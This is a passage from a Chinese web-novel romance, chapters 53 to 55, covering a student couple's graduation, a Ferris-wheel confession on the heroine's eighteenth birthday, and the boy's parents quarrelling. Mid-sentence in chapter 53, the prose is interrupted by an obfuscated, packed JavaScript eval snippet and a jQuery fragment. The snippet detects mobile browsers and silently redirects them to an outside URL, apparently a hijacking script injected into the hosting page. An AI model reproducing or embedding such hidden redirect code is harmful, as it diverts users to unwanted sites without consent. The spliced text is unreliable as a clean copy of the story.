这一次,她没有无措闪开,而是在他扬起的唇角和眼底的波光潋滟里,笑得更为肆意。 这一天,她真的以为自己会和这个一次次保护她,无条件相信她的人有未来。 她以为,她和许言琛会一直这样,过着平淡而又温馨的生活。 不用惊天动地,她不敢奢求,他一直在就行。 53. 庆祝 印象里,整个高二就是一步步通往枯燥的过渡线。 临近高考,高三毕业喊楼那天,姜绵在教学楼下见到了许久未碰过面的祝煜。 才从操场拍完毕业照回来,他怀里捧着几束花,脸遮了大半,朝她跑过来时,姜绵差点没认出来。 “祝学长?你这是……” 花被人往下撤了些,露出祝煜那张温润如玉的脸,他笑的开朗:“今天我毕业,忘了吗?” 姜绵一脸懊恼的拍了拍额头,最近几个月她确实有些晕头晕脑,竟然忘记他是这一年的毕业生。 思及于此,她扬起笑由衷祝福:“学长毕业快乐,高考加油!” “谢谢。” 花被他放在一旁,祝煜朝她摊了摊手,语气坦荡:“我能抱一下你吗?” 即将要面临离别,姜绵也很慷慨,上前轻轻拥了一下,却听见他在她耳边小声说了句“对不起”。 她一怔,突然忘记从他怀里退出来。 下一秒,一个力道拉住她的衣领往后拽了拽,轻而易举让她从里面脱了身。 没等她回头看,一道清冽的声音从头顶传来,寒意四起:“都毕业了,还不老实?” 他越这样,祝煜反而越高兴。 放下滞在空中的手,他故意:“学妹拥有独立的人格,你控制欲别太强,她不喜欢。” “喜不喜欢用你来说?” 没多看他一眼,许言琛拽着她就走。 “学长再见!欸……许言琛,你别拽我啊!” “我不是给你说了吗,下课来找你。” “你下课干嘛总往我这儿跑?” “那你下课怎么总不在?……躲我?”他语气酸溜,“跟他聊的倒是挺火热,还抱上了。” “我就是去了趟小卖部回来,恰好碰上了,聊聊天而已。” “你跟他有什么好说的,都不熟。多跟我说,我俩熟。” “……” 看着他们的背影转进教学楼消失不见,祝煜笑意渐浅,捡起地上的花凑近闻了闻。 这么一来,花都不香了。 不过毕业前还能再气一下他,也挺值。 * 自从跨年那晚过后,姜绵发现,许言琛的黏人程度简直让她快招架不住。 平时在学校里还算收敛,直到他月考五十二名擦边进了理科一班后,事情开始一发不可收拾。 到最后连教导主任都看不下去,趁着午休时间把他们两个叫到了办公室,进行批评教育。 午间,整栋教学楼都格外安静。 在他们进来拉上门后,主任摘下眼镜起身,背着手开始了说教。 他教学向来讲究循序渐进,一上来先是肯定。 “首先,小许同学,你能够重燃学习的兴趣,作为老师,那肯定是很欣慰的。何况,老师在初中部任教的时候就知道,你是个好苗子。虽然不知道你后来是由于什么原因,但只要你想认真学,一切都来得及对不对?” 许言琛眼神往旁边的人身上飘,觉得她应该还在生自己的气,淡淡应了声。 见他一副心不在焉的样子,主任知道说什么也白搭了,直接开门见山,就差苦苦哀求了:“你们两个关系特殊我知道,但这是在学校,注意影响。你下课不要总是去缠着姜绵问问题,人家同桌都有意见了。” 许言琛终于把视线放正:“简单,你给我俩换个座位,她过来我过去都行。” 他说这话就差没把主任气晕过去,姜绵用力撞了撞他胳膊,抬头瞪他。 “老师,他乱说的,你别生气。” 女孩儿声音软软的,眼见教导主任脸色缓和了点儿,他又不乐意了:“我认真的。她同桌嫌烦那就换我,我不嫌烦,行不。” 简直是强词夺理,主任撑着办公桌一口气没喘上来:“换、换……” “谢谢主任。”许言琛见好就收,拉着人离开,“我马上就搬。” 直到人离开,门被“嘭”的一声关上,教导主任才指着门破口:“换,换什么换!” …… 理科一班一阵骚乱。 刘雪看了眼一旁抱着书等待的人,撂起书包拍了拍她可爱同桌的肩:“我实在是招架不住了,先走一步。” 说完她义无反顾就朝后面走,离开前剜了眼旁边迫不及待要上位的人。 她人刚走,许言琛放下书就坐了下来,舒了口气后开始整理起东西,眉梢有些得意。 “我早说他们俩关系不简单,你看许言琛才来班上没多久就藏不住了。” “没听说吗,他们之前一个班的,姜绵半路转来跟他做了一个学期的同桌,关系匪浅。” “哪儿止啊,贴吧里他们的故事深着呢。” “都说许言琛之前被人夺了舍,原来是为爱改邪归正啊。” 八卦是人的天性,就算是在理科一班也避免不了。 听着四周的“窃窃私语”,姜绵按了按笔帽,看向身旁满面春风的人。 她叹了口气,小声:“小许同学,你到底想干嘛?” 停下手里的动作,许言琛侧过身看她。 他看起来心情很好,嘴角挂上一丝笑:“这么久不见,你就不想念吗?小姜同学。” 什么啊,不是天天都在见吗? 天天见他还不嫌够? 她蹙眉:“明明前一个小时,我们还在办公室碰了面。” 掏出一本书丢在桌上,他伸出手指晃了晃,笑得吊儿郎当:“我是说,以同桌的身份。” 耗时近一年,他又重新回到了这个位置。 感慨什么的就算了,主要是他现在觉得自己真的牛逼。 想不想念的…… 姜绵认真想了想。 其实也还行,不和他当同桌一天也就那样过去了,和他当同桌…… 她抬手掩饰住笑意,不经意提醒他:“你先保住你的位置再说吧。” “怕什么,不是有你在吗,小老师再给辅导一下?” “那万一我排名降了呢?” “那好说啊,我捞你。” 他表情明显不相信她会倒退,就是说着玩儿逗她开心的。 在忍不住要笑出来前,姜绵撑着脸把头别到了另一边,听到他低低笑了声,她终于也忍不住绽开了笑。 她从来没有如此安于现状过,也知道他上理科一班不是一时起了玩儿心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388920|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而已。 高二的最后一次考试,她知道许言琛很重视。 成绩上下有起伏很正常,可他就是不愿再掉下去。 有天晚上回去在楼顶小花园里做题的时候,她问过他,那时候许言琛是怎么说来着…… 噢,想起来了,他说:“竟然上来了,哪有再下去的道理。” 有胜负心,有上进心,会为自己的固执而付出努力。 她知道,他变得完全不一样了。或者说,他找回了从前的自己。 她好像看见了陈思彤口里,那个风光无限又无比耀眼的许言琛。 他本身就是耀眼的存在。 期末考试的成绩出来后,许家空前热闹。 一个年级第一,一个年级45,许国安知道后很高兴,张罗着要给他们庆祝。 拿到成绩单的那一刻,姜绵很淡定,回去时却在房间偷偷哭了一晚上。 她一跃成了理科第一,大部分人都夸她是天才,她却不由自主总会想到中考那天,她抖着手把所有题答完,亲手泯灭了自己的信心。 在泗水镇上的那些年,夏天没有空调,她就坐在房间里,搭着一把吱吱响的旧风扇,到最后卷子上总留下被她手侧印湿的痕迹。 冬天没有暖气,她趁家里做饭的时候,端个凳子坐在生火的灶边,火柴叭吱燃烧,她看完书出来,常常落得一脸的灰。 妈妈总会笑她是只花猫,也时常叹息埋怨自己没能力给女儿更好的生活条件。 她从小学习成绩好,被视为家里的希望。 可真到了这个时候,这份喜悦却没办法和他们分享。 许家夏天有空调,冬天有地暖,什么都不缺,她却总是想起一年四季给她感受最深的泗水镇。 许国安说给他们庆祝,把地方定在了地段最好的那个五星酒店。 姜绵看了眼日历本上被圈起来的日期,提起收拾好的包,出了房间门。 准备下楼的时候,恰好遇到了才开门出来的许言琛,她只是不小心扫了一眼,就怔在了原地。 他今天穿得格外正式,浅蓝色衬衫半扎在宽松西装裤里,上面扣子解开了几颗,露出里面圆领的黑色T恤,头发也像是被刻意打理过,露出了一点中间的额头。 他本就身形颀长,五官深邃标志,这么一打扮整个人看上去清爽利落,又有点莫名成熟。 姜绵低头看了眼白色T恤搭牛仔裤的自己。 就出去吃个饭而已,需要打扮的这么正式吗? 许言琛也没想到会跟她撞见面,面上愕然一瞬,垂在身侧的手不动声色往后藏了藏。 朝她走去,他靠在楼梯扶手,放低了声音:“根据我的经验,一会儿会很无聊,要不要中途跟我一起逃走?” 这样好吗? 她心里这样想,嘴里却忍不住问:“要逃去哪儿?” 许言琛眉尾一扬,凑近在她耳边:“游乐园,想去吗?” 游乐园她想去了好久,姜绵面上一喜,侧脸看他,突然对今天晚上有了些期待。 “那……” 她轻轻推了推他的肩,转身脚步雀跃,“我去换件衣服!” 特殊事情得特殊对待。 54. 仲夏 晚上的聚餐果然跟许言琛所说的一样,很无聊。 饭桌上都是一些姜绵从来没见过,也从来没听过的人,不过从谈话中依稀能听出,他们跟许家应该是一家人。 宽敞的包厢里就她一个外人,他们谈起话来也没有顾忌。 “今天这样的日子,大姐家怎么又没来?” “谁知道,听说是出去旅游去了。” 上齐最后一道菜,两个打扮光鲜的妇人看着旁边空着的几个位置随口一说。 这话被隔得不远的孟虹听到,她擦手的动作一停:“大姐不是一向节俭,这次怎么突然想起出去旅游了?” “小妹,你还真是两耳不闻窗外事。” 两妇人相视一笑,其中一个悠悠道:“要说我们几个姐妹,过得最清贫的就数大姐了。嫁了个没什么能力的男人,柴米油盐操不完的心,好在儿子争气,今年高考文科全省第一呢,我也是听我儿子说才知道的。” 听完这句,姜绵才知道她们说的是谁。 今年理科第一文科第一都在锦一中,学校到处张贴大字报,她也是在看见班群里的消息后才知道,她竟然有幸和文科状元认识。 不过提起他,某人的反应一向会很大,她微微侧了点头,果然和一坐之隔的许言琛视线撞了个正好。 主座上,孟虹面色一愣,随后言笑晏晏:“这可是天大的喜事,大姐怎么也不说一声?” “大姐一向低调,听说这次旅游也是她儿子带她去的。要我说,大姐还挺会投资,老公虽然不中用,但胜在人老实会顾家,儿子现在又有了出息,以后指不定过的比我们还舒坦呢。” “二姐你这话,还真是……”旁边女人嗤笑了一声,还想接着说些什么,但眼见桌上氛围不对,瞬间又闭紧了嘴。 男人们对这些家长里短的事不感兴趣,也难得去猜透女人们的话里有话。没一会儿,讨论点就变成在餐桌百谈不厌的工作上。 这是比上课还要枯燥的,姜绵咬着果汁杯里的吸管,百无聊赖夹了一口碗里的菜,一晃眼瞥到桌上手机一闪而过的信息。 A_XU:走? 这次聚餐名义上是为他们举办的,实际落到他们身上的话题也不过就一小会儿。 如今大人们都在各谈各的,没人注意着他们两个。 姜绵抬头朝他看,见他恰好起身,走到她身旁停了片刻,做了个逃跑的手势。 她当即提起压在背后的包,轻轻挪了挪凳子,跟在他身后,从他留的门缝里钻溜了出去。 厢门合上,谈笑声都被隔留在里面。 出了酒店,姜绵一颗心提到了嗓子眼,还是觉得有些不太真实。 她看了眼身旁插兜一脸从容的人,拽了下他。 许言琛步伐一滞,低头看她,见她噘嘴皱着眉,嘴角挑起一抹笑:“怎么了,不想去游乐园了?” “想!”她慌忙回应,又在他饶有趣味的眼神中慢慢蔫儿下去,“等会儿他们发现我们不在了,会不会有什么事啊?” 他撇过脸,不紧不慢:“听说今天游乐园有活动,晚上十点有烟火大会。” 什么烟火大会,一听就很有意思,姜绵刹那间瞪大了眼:“什么时候的事!” 这会儿担心的事情全被丢到了脑后,她拉着他就往前奔:“那我们得加快速度,一会儿就赶不上了!” 他知道什么对她而言是致命的吸引,任由她拉拽了一截路,经过十字路口,许言琛反牵住她的手,把她往身边带了带。 他直视前方目不转睛,手却用力握了握:“过马路,我来。” 姜绵低头看向两人相握的手,温度一路从手心往上流窜,烫的她心尖一蜷。 身后人来人往,街上车行穿梭,城市被灯火打造成一座霓虹花园。 她眼里水光潋滟,再抬眸看向对街的红绿灯,嘴角不由自主浮现出一丝浅笑。 游乐园里人山人海。 今天好像还真有什么活动,从进园开始,就有不少人一边喊着“快点儿”一边挤着往前跑。 有人擦着身从他们身边跑过,本就拥挤,姜绵缩着肩小心避免着碰撞。 也许是感受到她的拘谨,许言琛直接伸手扣着她的肩,将人揽紧。 距离骤然缩进,感受到搭在她肩上的手,姜绵脸色一瞬愕然,抬头只能看见少年凌厉的下颚线。 “快快快,音乐节马上开始了,要赶不上了!” 音乐节?姜绵愣了一下,不是烟火大会吗? 没等她问出口,许言琛揽着她排到了一个长长的队伍后面。 也许是看出她欲言又止,许言琛扫了眼手机上的时间,轻咳示意:“十点还有一会儿,坐一圈吗?” 他这样说就是肯定有烟花了,姜绵看了眼前面排得长长的队伍,虽然今天每个项目都排了很长的队,但摩天轮处更甚。 刚放下心来,她又忍不住蹙眉有些担心:“这得排很久吧。” 过了会儿,她听见他似乎是笑了声。 许言琛别过脸看她,对她说的话不置可否:“运气好说不定能在摩天轮上看。” 不说还好,他一说完,姜绵就开始在心底暗暗祈求这份好运能降临在自己身上。 毕竟在摩天轮上看烟花,难得一遇,光是想想就很浪漫。 时间一分一秒过去,离十点只有一分钟不到时候,他们刚好跟着前面几个人被卡在了下一批里。 姜绵刹时就慌了,踮着脚往前望,她垮下肩语气焦急:“怎么办,好像真的赶不上了。” 她果然还是没能力承载这份幸运。 正想说话,手机“叮咛”一声,许言琛低头看了眼,瞬间松了口气。 他扬了扬唇,肩身轻松:“别紧张,说不定延迟了呢。” 哪有这么巧的事? 他说的漫不经心,姜绵扬脸看他,眉宇间满是狐疑。 一直等到登上摩天轮的那一刻,周围一点儿动静都没有,她还是有些不敢相信。 烟花……真的就这样延迟了? 摩天轮启动,缓缓上升,姜绵坐在座位上扒着窗户,看着地面上的人逐渐变成许多个小点儿,她止不住的惊叹。 她从来没有坐过这个,只是之前不经意间在杂志上看到过关于摩天轮的描述,便觉得心神向往。 只是在亲身经历过后才明白,想象什么的,远不及切身感受。 几秒后,天地间像是有了感应般,游乐园里除了正在运行的设施,一瞬间灯光都熄灭,四处暗了下来。 姜绵以为自己看晃了眼,揉了揉眼后发现底下依旧是漆黑一片,她突然有些害怕:“怎么到处都黑了?” 还没等她说完这句话,天空一时间被什么给划亮,紧接着,透过厚重的窗户玻璃传来烟花炸开的闷闷声。 没等她惊呼出声,一簇接一簇的烟花争先在夜空绽开,五光十色的火花映在跟她脸贴近的玻璃上,在她瞳孔燃出各不相同的形状。 “真的在摩天轮上看到烟花了!我今天也太幸……” 她分享喜悦的话,在扭头看见他手里拿的东西后一瞬间停住。 须臾间,许言琛看着她的眼里满是柔软。 他正襟危坐在离她不到一个肩膀的地方,表现的像是得心应手,除了拿着项链盒子的手有些抖以外,一切都应景的让人讲不出话。 事实上,姜绵确实愣了好半天都没能说出话,她有些不敢相信眼前所看见的。 眼神在他和项链之间流转了好久,她攥紧了荷叶裙边,忐忑开口:“你这是……做什么?” 没让话空太久,许言琛咽了咽喉咙,那张向来临危不乱的脸上第一次浮现出青涩,张口第一句话就有些颤:“其实有些话,在跨年那天就忍不住想告诉你,只是觉得再好的日子都没有今天好。” “那天我说第四年也在一起,是我没敢表述明白,实际上,我贪恋有你的每一年。” “所以,要和我谈恋爱吗?姜绵。” 烟花和他的表白一同出现,他们端坐在座位两端,中间隔了段不远不近的距离,姜绵甚至因为有些难以置信,不经意间往背后的角落里又缩了缩。 她往后退,许言琛就拿着手里的盒子往前又凑近了几分,近到能看清他眼底的真情实意,他没有笑,绷直了嘴角,一脸正色。 姜绵大脑一片空白,那些烟花就像是在她脑子里炸开一样,搅得她心里一阵噼里啪啦。 这一刻,她总算是知道,他之前为什么会言之凿凿说那些话。 烟火大会是假的,烟花是真的。 延迟也是假的,她以为的幸运,是他亲手打造给自己的。 良久,她捂着嘴说不出话,眼里渐渐浮现一丝雾气。 摩天轮的高度还在上升,许言琛深呼了一口气,从盒子里取出项链凑近想给她带上,姜绵当下愕然伸手挡了挡。 他总算垂下眸笑了声,像是在安抚她,也像是在安抚自己:“无论怎样,这都是你的。” 微微俯身,他替她拨开散在身后的长发,扣好项链,抽身时在她耳边柔声:“生日快乐。” 她一直强忍着的情绪,在听见这句话的时候顷刻崩塌。 姜绵一直以为也从来坚信,这样的日子从爸爸妈妈离开后,只有自己会记得。 可刚刚她清清楚楚听到,有人用亲昵的语气祝福她。 除了她画圈的日历表,还有人知道这一天。 贝壳状的吊坠垂在领口处雪白的肌肤上,中间镂空镶的红色钻石折射出一丝光芒,漂亮又贵气,让她不敢触碰。 项链一看就价格不菲,就算是生日礼物,也太过贵重了。 她一直垂头欣赏着脖间的项链,许言琛朝外面看了眼,手有些无处安放,最后搭在了腿侧,声音透着紧张:“马上快升到顶点了,要跟我说你的回答吗?” 姜绵抬头,透过他身后的玻璃朝外看。 他们的确还在缓慢上升着,过不了多久就能触及最高点了。 想起之前不知道在哪儿听过的传言,她不知道哪儿生出来的勇气,往中间空着的位置挪了挪,攥紧凳沿,闭眼贴近他的脸。 脸侧的柔软触感转瞬即逝,许言琛倏然愣住,面前的姑娘看着他眉目恬淡,绯色却一路从她的脖颈攀到了双颊。 第一次做这样出格的行为,姜绵眼里却始终敛着浅浅笑意:“之前听说,在摩天轮升到顶点亲吻的情侣,会一直在一起。” 他滚了滚喉咙,视线停在她脸上没有言语。 一直以为等这个回答需要很久,可现在她不仅用行动给了他答案,还能一边羞涩一边说着自己对这段感情的祈盼。 她比他以为的还要更加纯粹,让人舍不得去欺负。 女孩儿眼尾湿漉漉的,一双眸子泛着水光看着他,许言琛突然就没心思管太多,一把丢了手里拿着的盒子,一手揽过她的腰将她带近了些,一手扣着她的后脑勺,俯身将未来得及说的话通通封在了唇间。 此刻,摩天轮恰好升至顶点,烟花在他们头顶上方绽放得正惊艳。 他们也在那簇烟花燃尽时,跟着一起下降。 这个吻来得太过突然,姜绵却在他俯身凑近时,有所预料般闭上了眼。 眼睫轻轻颤动,她能清楚感受到,当他微热的唇瓣贴上来的那一刻,自己的心跳好像停了一秒,而后又开始极速跳动。 逼仄空间内,温度逐渐上升,她讷讷屏住了呼吸,只能听见自己凌乱的心跳声。 不知道过了多久,许言琛往后撤开,揽着她腰的手稍微松了松。 见她臊红了脸,他哑笑出声,伸手划过她粉嫩的唇瓣,眼底旖旎缱绻:“这样才算亲吻,小姜同学。” 她怎么会以为,那句话里的“亲吻”,只是单纯亲一下脸颊就行的。 这下姜绵羞的连眼都不敢睁了,捂着脸倒靠在他肩上,听着他因愉悦而发出的闷笑声,慢慢抿了抿嘴巴。 出轿厢的时候,姜绵脸上的温度还是很烫。 游乐园里的照明已经恢复了正常,她一路捂着脸颊,生怕被人看出异常。 没多久后,她还是没忍住,在某人的低声哄骗下撤开了手,任夏日的风扑在脸上,竟有些丝丝清凉。 离远了摩天轮,他们心不在焉逛着园区,两人中间始终隔着段不远不近,有些奇怪的距离。 明明关系已经更近一步,怎么一时之间好像有些更加拘谨了。 姜绵垂眸想了想,觉得应该是大脑还没适应过来,沉淀一会儿就好了。 她在心里暗暗默念:要适应,一会儿就好了。 她兀自想着,没注意到自己连脚步都放慢了些。 只是想些事情的时间,许言琛一转眼就发现身旁人不见了,他停下脚步,转身看见身后垂着脑袋不知道在思索着什么的人,瞬间松了口气。 而后,他突然有些懊恼自己一时的疏忽。 在她朝自己走近的那一瞬,许言琛伸出手,见她抬头面露诧异,他直接拉起她的手轻放在自己手心。 他问:“在想什么?” 手被他裹紧,姜绵这才觉得有了点儿实意,她笑起来,嘴角的一对梨涡便跟着浅浅浮现:“没什么,只是感觉还有些不真实。” 她所想的,许言琛大概也能猜到一二,他低下眉眼,语气歉意很浓:“是我的问题。” 她摇了摇头,用力回握住他的手,拉着他的手晃了晃,像是在逗他开心。 她一向善解人意,而他却不能因此就得寸进尺。 许言琛牵着她的手,穿梭在园区,路过每一个项目都会问她想玩不想玩儿,而姜绵始终都笑着轻轻摇头。 其实,跟他一起漫步就很不错,她喜欢这种淡淡的幸福感。 看出她确实对这些玩乐项目兴致不高,许言琛带着她走在江边的步行道上,走着走着就从身后变出了一个棉花糖。 姜绵一惊,而后双眼放光接过:“你什么时候买的?” 他翘起嘴角,语气像哄小孩:“在你专心看它制作过程的时候。” 那时她只是觉得过程有趣,多看了一会儿,没想到他能留意,她心里甜滋滋,低头看向手里的棉花糖。 棉花糖是兔子形状的,姜绵一口咬掉它半只耳朵,入口瞬间瞪大了眼:“好甜,你尝尝。” 许言琛目光停在她嘴角,眸色一暗:“是吗?” 她忙不迭点着头递上去,少年却握住她拿棉花糖的手往一边偏了偏,微微弯 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舞台上灯光闪烁,正在表演的是一个很小众的乐队,台下观众拿着荧光棒跟着节奏一起挥舞。 他们并没有进场,而是坐在了沙滩旁的阶梯上,隔得不算远,既不吵也能听到音乐。 热浪下,棉花糖化了一手,姜绵朝旁边人摊开手,眉眼尽是娇嗔。 许言琛失笑,在兜里翻找纸巾,只是松一会儿手的功夫,就有人上前询问。 “你好,可以加个联系方式吗?” 问话的女生先是满脸期待看了眼他,又看了眼坐他旁边的人,只朝她轻轻点了点头,可能是误把她当成妹妹了。 这样想着,姜绵忍不住转开身想笑,但她只是稍微动了动,就被人一把给捞了过去。 许言琛揽着她的腰,先是对她皱眉眯了眯眼,而后转头拒绝果断:“抱歉,看起来不可以。” “不好意思!打扰两位了。”这样亲昵的动作,女生马上反应了过来,她一脸惊慌,边弯腰道歉边逃离了现场。 等人没了影儿后,姜绵才开始夸奖起他:“小许同学今天很有魅力哟!” 许言琛假装听不懂她泛着酸的话,揽着她腰的手收紧了几分,低头对上她的眼,没什么正形:“只是今天有魅力吗?” 她垂下眼笑:“今天看你穿这么正式,还以为这次聚餐很重要。但因为是聚餐,所以我觉得自己穿什么也都无所谓了。” 她声音很轻很柔,像在娓娓道来一个故事,许言琛低着头一边给她擦手一边静静听她讲述。 “只是后来听你说要去游乐园,我期待之余又有点紧张,因为是和你一起,再没有其他人。我回房间后在衣柜找了好久,才找到这条颜色跟你衬衣相近的裙子。” 他擦手的动作一顿,听见她又笑吟吟的问:“好看吗?” 许言琛顿时哽住,心一紧,他将她拥在怀里,声音很涩:“好看。” 她是自己见过,最好看的姑娘。 他从来没有注意到她的这些小心思,她的小心翼翼,她的慢慢贴近。 不知不觉间,他原来忽略了这么多。 察觉到他的情绪,姜绵摸了摸他的脸,淡琥珀色瞳孔在夜色中格外漆黑,天空的星星像是全部掉入她眼里,亮得不行。 她声音糯糯:“刚刚在摩天轮上,你说‘再好的日子都没有今天好’是什么意思啊?” 他笑意温柔,抬手揉了揉她的头发:“除夕那天,我跟你一起去看叔叔阿姨,不仅仅是去打个招呼,也是想跟他们交代一下。” “交代什么?”她神色不解,见他不说话只笑,突然就灵光乍现,掐了一把他的腰,“好啊,原来你早有预谋!” 她挠人就跟挠痒痒似的,许言琛一把抓住她不安分的手,搂紧她,下巴轻搁在她发顶:“我对你,是徐徐图之。” 姜绵埋在他颈窝蹭了蹭,闻着他身上的味道有些心猿意马:“那你那天为什么又不说了?” 那晚发生的事还深深印在脑海里,那个停在距她咫尺间的温度,让她有些恍惚不清,难以分别他的意图。 只记得那晚的风很大很凉,可他的怀里却意外的温暖,让人难以忘怀。 但比起那些,许言琛今晚的回答,更让她一辈子也忘不掉。 夏夜微风轻拂,裹挟着一丝凉爽,他声音透着沙哑:“还记得那天在车里,你倒在我腿上睡着了,我才发现你对我一丝防备心都没有。” “那时候我就改变了主意,你爸妈很爱你,肯定因为这个着急。所以我想等你再长大一点,能够自己做主,叔叔阿姨也就不会担心。” “18岁生日快乐,绵绵。” 不知不觉间,他们已经成长为了大人,以前被父母遮风挡雨的他们,现在要独挡一片天了。 可他的姑娘却过的不好,明明是该在父母怀里撒娇的年龄,却一个人背井离乡来到这个对她而言满是陌生的地方。 对她而言,比这个城市更熟的,是她爸妈墓地的地方。 不知不觉间,姜绵眼眶已经蓄满了泪,她不知道许言琛心思如此细腻,吸了吸鼻子,她声音打着抖:“我不知道你想了这么多,其实我一直都不敢告诉你,高一在江边喝醉说的话,我一直都记得,我刻意不提是害怕你真的……” 后面的话她没能再说下去,姜绵窝在他怀里哭的一抽一抽。 她哭的实在伤心,连带着他的心也一块儿揪了起来,许言琛捧着她的脸,用指腹轻轻擦走她的泪。 “不是可怜。”他对上她有些懵的眼睛,又正色重复了一遍,“我对你从来不是可怜,是心疼。” 怕她不信,他说的很认真,每一字每一句都看着她的眼睛。 姜绵抽噎着,反捧住他的脸,亲了亲他的嘴角。 动作很轻,就像一片羽毛落下,挠的许言琛心里痒痒的。 她说:“谢谢你。” 许言琛回神挑了下眉,勾了下她鼻尖,插科打诨:“别勾引你男朋友,你男朋友的忍耐力没你想的那么强。” 男朋友?好突然的称呼,她一点儿也不适应。 她搂住他的脖子,难得跟他撒起娇来:“许言琛,一般跟关系好的人都叫你什么,阿许吗?” 书店的老板,面馆的宋爷爷,她之前听挺多跟他亲近的人都这么叫他。 少年嗓音压着笑,低低“嗯”了声。 她突然开朗:“那我以后也这样叫你好不好。” 许言琛没回答,嘴角却抑制不住往上扬。 “不说话,是不喜欢吗?”她故意,“那我叫声试试,阿许?” “嗯。” “阿许,阿许。” “嗯。” “阿许阿许阿许……” 他终于忍不住笑出声,捏了捏她的脸:“是复读机吗?” “我喜欢这样叫你,你呢?” 许言琛没说话,只是抱着她把头埋在她颈窝,任由她玩弄着自己的头发,贪恋着这只属于他们两人的仲夏夜。 他也喜欢。 很喜欢很喜欢。 55. 离婚 趁音乐节结束之前,人潮还没多汹涌,他们先一步离开,踏上回程的路。 出园时外面还是明晃晃一片,街上的车流量却明显减少了许多。 敷衍回完手机上的信息,许言琛拉着身边人想过马路,却发现她拽着自己不动。 他低头问:“怎么了?” 姜绵看着他,晃了晃他的手:“你有事就去忙吧,不用管我,我自己回去行的。” 他这一路看手机的次数太多,不重要的事情他向来不会管,想必是真有什么急事。 她心细,果然还是发现了。 许言琛没瞒着她:“书店那边缺人理货。” 其实他不去也可以,大不了留斌哥一个人整理到半夜,反正他最近年纪大了闹失眠,多给年轻人留点儿空间就当积德了。 姜绵听完觉得还是有些过意不去,于是催着他去:“上次去书店斌哥送了我一本书,你帮我去谢谢他怎么样?” 她赶人走的招数还真是花样百出,偏偏她那双小鹿似的眼睛此刻水汪汪看着他,他压根没法拒绝。 知道她是不想自己因为她去拒绝朋友才故意这么说,许言琛心软的一塌糊涂。 留她一个人他始终不放心,在替她拦好车记下车牌后,又是一番嘱咐,说完后他还觉得不够,又让她回去要早些睡。 磨磨蹭蹭了好一会儿,再让他说下去待会儿可能就走不掉了,姜绵突然抽手抱住他,趁他发愣的间隙,转身一溜烟钻进出租车,关上车门扒在窗户玻璃上笑着跟他挥手。 又被这个小狐狸给忽悠了。 眼里恢复一丝清明,许言琛朝她抬眉,指了指手里的手机。 保持联系嘛,她知道的。 姜绵笑盈盈对他比了个OK,看着他的身影逐渐离车越来越远,直到最后和夜色融为一体,彻底消失看不见,才依依不舍收回目光。 路上冷清,出租车一路畅通无阻。 车内昏幽,她身陷后座,看着城市的五光十色,外头的灯光穿过玻璃划过她脸,一时忽明忽暗。 进入隧道,周遭一片漆黑,除了跳动着的计价表,她脖间隐隐闪着一丝光亮,姜绵低头摸了摸光亮的来源,触及一片冰凉。 童话故事里,红色宝石总是跟欲望、贪婪挂钩,可它们明明有着最特别的寓意。 离开前,她特意从许言琛那里要来了锦盒。 取下脖颈上的项链,姜绵把它重新放回了里面,仿佛只有这样,她才能够完完全全欣赏它的美丽。 夜色温柔,她的眼底更加温柔。 下车后,姜绵没忘记给他发短信报平安。 刚开院子门,对面就回了信息,是一条有些长的语音。 姜绵进门的脚步顿了一下,许言琛发信息从来都是简短的文字,这条长语音是什么情况? 果不其然,她一点开,不属于少年的,有些沧桑感的声音从手机听筒传出—— “对不住了啊弟妹,哥先前不知道,扰了你们俩的春宵一刻。这样啊,以后来哥店里,喜欢什么书随便拿,以后阿许要是惹你生气了,你就告诉哥,哥帮……” 后面没说完的话被人给掐断,戛然而止。 她嘴角忍不住往上翘,刚想礼貌回复个表情,底下又弹出一条信息,这次是纯文字。 A_XU:早点休息,我晚点回。 他们的关系踏进许家就会变得微妙起来,这是头一次,姜绵不想去考虑未来会怎么样,她只想珍惜当下的每一天,分分秒秒。 理想中的一切都是充满美好的,可现实往往是一地鸡毛。 小心翼翼推开入户门,整个玄关连带着客厅都是漆黑一片,这个时间点,要么是许叔叔他们生意还没谈完,要么他们已经早早入睡了。 不清楚情况的状态下,姜绵还是放轻了动作,手机屏幕还停留在聊天界面,仅凭着微弱光亮,她换好鞋轻车熟路往里进。 上楼时她停下来打开手机手电,趁着间隙正想顺手回许言琛信息,廊道往里的卧室里突然传出了什么动静。 姜绵整个人忽的滞住,她原本没打算偷听,只是这次动静着实有些太大。 卧室门不知道被谁给用力推开,房间内暖黄的灯光骤然铺洒了廊道一地,然后就是无休无止的咆哮声,紧接着一些乱七八糟的东西被谁给扔了出来。 孟虹尖锐的哭诉声打破一室安静:“照片是我拍的怎么了?你要是心里没鬼你怕什么,你为什么一看到她就这么生气来质问我,你果然还是放不下她!你从来就没有放下过她!” “你简直是不可理喻!” 这次应该确实是触了许国安的逆鳞,他气的连说话声都在抖动,“平时小打小闹,我想着你从小娇养难免脾性大也就忍了,可你竟背着我做出这样下流的事!不信任跟踪我,不分场合不分情况偷拍照片,你把我许国安当什么了?我是人,不是一天二十四小时随时供你支配包你满意的机器!” 这还是寄住在许家以来,姜绵感受过的最激烈的一次争吵,孟虹发了疯劲儿,把卧室里所有能搬动的物件都往外丢,外头一地凌乱,很难让人不注意。 要是待会儿许言琛回来看到这些后…… 虽然他平时嘴里不说,但姜绵知道他是有过期待的,期待这个家能安安稳稳过生活,以往缄口不言,只是因为他习惯了这一切也深知改变不了。 不是无动于衷,而是无能为力。 他已经很累了,回来再看到这些,心里一定不会好受。 姜绵深吸了一口气,抬脚朝走廊卧室走,里面恰好又丢出来了一个东西,是枕头,她敏捷闪躲了一下,跨过凌乱的一地,正开口想劝阻,但接下来里面说的话,让她整个人彻底僵住,动弹不得。 “你把自己说的这么高尚,到头来不就是发现我去找你昔日的小情人了吗,没错,我确实去找了她。” “不仅如此,我特意警告了她,她死了老公就想来勾引别人老公,还异想天开想把她女儿塞进我们家当藕断丝连的信物,门儿都没有!” 